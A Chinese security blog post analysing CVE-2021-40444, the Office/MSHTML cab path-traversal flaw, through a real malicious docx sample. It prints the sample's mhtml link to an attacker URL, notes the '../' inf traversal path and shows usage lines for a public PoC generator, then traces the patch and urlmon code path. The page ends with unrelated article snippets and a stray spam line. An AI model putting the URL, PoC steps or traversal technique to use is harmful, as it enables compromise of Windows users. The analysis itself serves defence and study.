<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    漏洞分析 | CVE-2021-40444

    VSole2021-09-29 06:23:52


    前言

    隨著cve-2021-40444的披露,隨機引爆了全球的網絡安全,雖然最近微軟發布了補丁,但是cve-2021-40444的利用卻越發猖狂,本人深入分析了這個漏洞。

    0day樣本分析

    拿到樣本的第一時間,便在自己的沙箱環境下面運行了下,并且從網上下載的docx,微軟默認會開啟保護模式,我這里是本地打開的,基本內容如下,全都是文字內容,基本上沒發現什么:

    但是在rels的document.xml文件中發現了鏈接Target="mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html"

    可以發現其是指向文件的更新鏈接

    從樣本庫眾獲取到mountain.html后,我們打開一看,發現全部都混淆了,基本難辨真假,去混淆也比較簡單

    因為是js代碼,隨便找個網上去混淆的試試,比如http://jsnice.org/,將混淆的代碼粘貼上去后,一鍵試下

    基本代碼的輪廓就有了,它所有的字符串都會采用數組var a0_0x127f經過function a0_0x15ec進行拼接與置換

    這就很簡單了,我通過普通腳本再一次去混淆:

    經過簡單的靜態分析與調試,基本上就是它會去請求服務器獲取一個cab文件,并且會通過執行cpl文件去執行一個inf

    然后通過樣本庫獲取到這個cab,初步分析這個cab,發現了其解壓路徑是../championship.inf,并且標志cafile的大小是0x415c00,cab文件格式[1]對應如下

    最后將惡意的url改成我們自己搭建的http server,之后成功復現樣本攻擊環境,并且捕捉到了樣本通過rundll32執行了命令

    cve-2021-40444漏洞的分析與利用

    cve-2021-40444的poc很快公開在了github[2]上,poc的使用很簡單,通過sudo python3 exploit.py host 80開啟簡單的http server服務器,python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx:

    假如我們現在有一個正常的docx,可以通過以下添加稍加修改,就成了可以包含cve-2021-40444漏洞的docx了

    cve-2021-40444的補丁對比

    通過ProcessMonitor監控我們可以獲得其創建和讀取cab文件的行為,其調用堆棧如下:

    9月14號,微軟發布了cve-2021-40444的補丁,經過補丁分析發現,urlmon.dll模塊的catDirAndFile對路徑驗證做了修改,將'/'替換成了'\\',防止路徑遍歷:

    漏洞調試

    調試之前,我們首先了解下微軟對cab文件的api處理如下https://docs.microsoft.com/en-us/windows/win32/api/fdi/:

    這些api包括了對cab文件的解析和讀寫操作等,urlmon模塊通過調用cabinet模塊中的這些api來處理cab文件的

    首先docx觸發get請求后會通過mshtml模塊來處理,并且對cab文件的處理將會進入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile這個api開始處理cab文件:

    獲取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通過GetExtnAndBaseFileName去判斷文件后綴名是不是cab:

    然后通過CreateUniqueCabTempDir創建臨時文件夾,比如我這里是C:\Users\l\AppData\Local\Temp\Cab369A,進入api ExtractInfFile后,將會繼續調用Extract,在Extract將會第一次調用到FDICreate[3]和FDICopy[4],來獲取cab的信息

    FDICreate主要是對其他讀寫api等進行初始化操作:

    而FDICopy主要就是提取cab文件的信息了

    進入CABINET!FDICopy后將會調用LoginCabinet來提取cab的0x24大小的head信息,比如包括對頭部MSCF標志的判斷:

    之后將會進入CABINET!LoginCabinet、CABINET!FDICallEnumerate分別對應信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE,再一次進入urlmon!fdiNotifyExtract后獲取CFFILE file的信息,而對應的標志是0x02:

    獲取到初始化結構體后將會在urlmon!ExtractInfFile調用urlmon!ExtractOneFile:

    而在urlmon!ExtractOneFile中將會給(a4+0x202)賦值結構體lpsz,將會確保在調用urlmon!NeedFile成功返回:

    之后將會繼續以標志fdintCOPY_FILE(0x02)繼續調用urlmon!fdiNotifyExtract,繼續調用urlmon!catDirAndFile繼續路徑字符串格式化,而我們傳入的inf路徑是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

    最后退出urlmon!catDirAndFile將會在urlmon!fdiNotifyExtract中調用Win32Open:

    而在Win32Open中將會調用CreateFileA,以路徑C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf創建文件msword.inf,因為路徑存在目錄遍歷問題,所有將會在C:\Users\l\AppData\Local\Temp\msword.inf創建文件:

    成功創建msword.inf文件后將會繼續成功調用CABINET!FDIGetFile,在CABINET!FDIGetFile中將會以第一個CFDATA data大小數據寫入到文件中,之后caFile(實際為解壓文件大小)將會減去寫入的CFDATA data大小,接著進行比較直到將所有的caFile大小寫入,而這里我們的caFile大小是0x415c0000,遠遠大于實際的CFDATA的總大小,所以將會在調用最后一次CABINET!FDIGetDataBlock獲取塊的時候失敗并退出:

    雖然退出了,但不影響實際寫入文件的數據,并且因為這個失敗將不會在urlmon!DeleteExtractedFiles調用DeleteFileA,因為v2[2]的標志未清0,所以不會刪除臨時文件,從而我們創建的msword.inf得以保存,并且在后續中可以直接以cpl文件運行C:\Users\l\AppData\Local\Temp\msword.inf

    而正常的提取cab文件將會以標志fdintCLOSE_FILE_INFO(0x03)進入,調用urlmon!MarkExtracted,將標志清0:

    至此,從獲取到cab文件到提取解析,并且觸發目錄遍歷漏洞過程分析完畢。

    而網上有大佬有公布以最簡潔的方式觸發了[5]這個漏洞,并且可以在ie中復現成功。

    漏洞防范

    對網上來路不明的docx,請不要隨意點擊,更新最新的微軟補丁

    漏洞軟件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    漏洞超出您的想象
    2022-07-28 08:15:00
    CVE 或軟件漏洞僅構成 IT 安全環境中安全風險的一部分。攻擊面巨大,存在許多安全風險,必須將其視為軟件漏洞,以減少風險暴露并防止大規模網絡攻擊 軟件漏洞是操作系統或應用程序中的一個弱點,攻擊者可以利用它來入侵 IT 網絡。當公開披露時,這些軟件漏洞通常被分配一個 CVE 標識符。CVE 是指漏洞時的一個流行術語,平均每天發現 50 到 60 個 CVE。
    從補丁可以認識一個漏洞的觸發源。 查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
    網絡安全漏洞(以下簡稱“漏洞”)作為信息通信網絡中在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,隨著經濟社會信息化、網絡化、數字化和智能化程度的加深,對國家網絡安全的影響也日益加劇。世界各主要國家和組織為了切實提升國家網絡安全防護能力,圍繞漏洞的研究、收集和利用,紛紛建立國家級漏洞通報平臺或漏洞數據庫。日本于2003年開始建設“日本漏洞通報”(JVN)平臺;美國于 2005 年開始建設“
    如果過了18個月還沒發揮出SBOM的功效,那就得問問還需要做些什么才能實現美國那套網絡安全行政令了。
    工控安全研究的現狀首先工控安全研究的主要動力是國家和工控廠商,國家非常關注這塊的安全,因為這個是關乎民生經濟的大事。選擇挖掘的廠商和目標對一個新人來說,剛開始入門工控漏洞挖掘最開始不要選擇國外如西門子,GE這些大廠,這些安全性相對較高,盲目上手容易打擊信心。有預算的時候可以進行購買研究。
    當前漏洞的數量快速增長,危險級別不斷提升。為了有效降低用戶面臨的風險,應深入研究美國國家電信和信息管理局和 FIRST(公共漏洞披露平臺的管理者)頒布的《漏洞多方協同披露指南與實踐》,從機制、舉措方面總結指南與實踐在不同情況下對漏洞協同披露的流程,歸納產生的原因及有效的應對措施,并結合我國的實際情況提出相應建議。
    生成一個SBOM簡單,但要生成一個既全面又準確的SBOM卻不是一件容易的事。在2023年的現在,軟件在各行各業中都扮演著重要角色。
    管理員角色對于保護網絡免受攻擊至關重要,需要配備專門人員來保護網絡上的設備、應用程序和信息。應在網絡邊界實施多層防御,以抵御外部威脅,監控和限制出入流量。在整個網絡中部署多層下一代防火墻,限制出入流量,檢查網絡區域之間的所有內部活動。NAC方案可防止未授權物理連接,監控網絡上已授權的物理連接。為防護這些漏洞,管理員應禁用所有不必要的功能,并對流向VPN網關的流量采用嚴格的流量過濾規則。
    首次將內存安全納入法律
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类